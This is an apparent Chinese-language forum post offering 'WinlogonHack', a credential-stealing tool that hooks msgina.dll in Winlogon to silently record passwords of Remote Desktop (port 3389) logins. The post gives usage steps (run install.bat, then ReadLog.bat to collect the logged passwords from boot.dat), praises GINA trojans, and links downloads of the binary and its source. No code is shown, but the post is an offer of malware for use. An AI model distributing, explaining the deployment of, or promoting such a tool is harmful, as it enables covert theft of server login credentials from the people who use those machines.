Winlogon劫持记录3389密码小工具(开源代码)

导读：
　　gina木马比较不错，但是貌似win 2000少导出一个函数，用在win 2000下可能崩溃。
　　于是写了一个小工具
　　详细代码及工具，见附件。
　　 截图
　　
　　
　　
　　理论上只要msgina.dll WlxLoggedOutSAS 前五个字节 为
　　
　　
　　
　　就可以通过！
　　有bug的Q我，343789385
　　Quotation
　　WinlogonHack
　　一。执行install.bat 安装。
　　不用重启, 当有3389登上时，自动加载DLL，并且记录登录密码！ 保存为boot.dat文件.
　　二。运行ReadLog.bat 移动密码文件到当前目录。查看吧～

程序：

Download ( 39 downloads)

Click to download: WinlogonHack.rar

源码：

Download ( 24 downloads)

Click to download: source.rar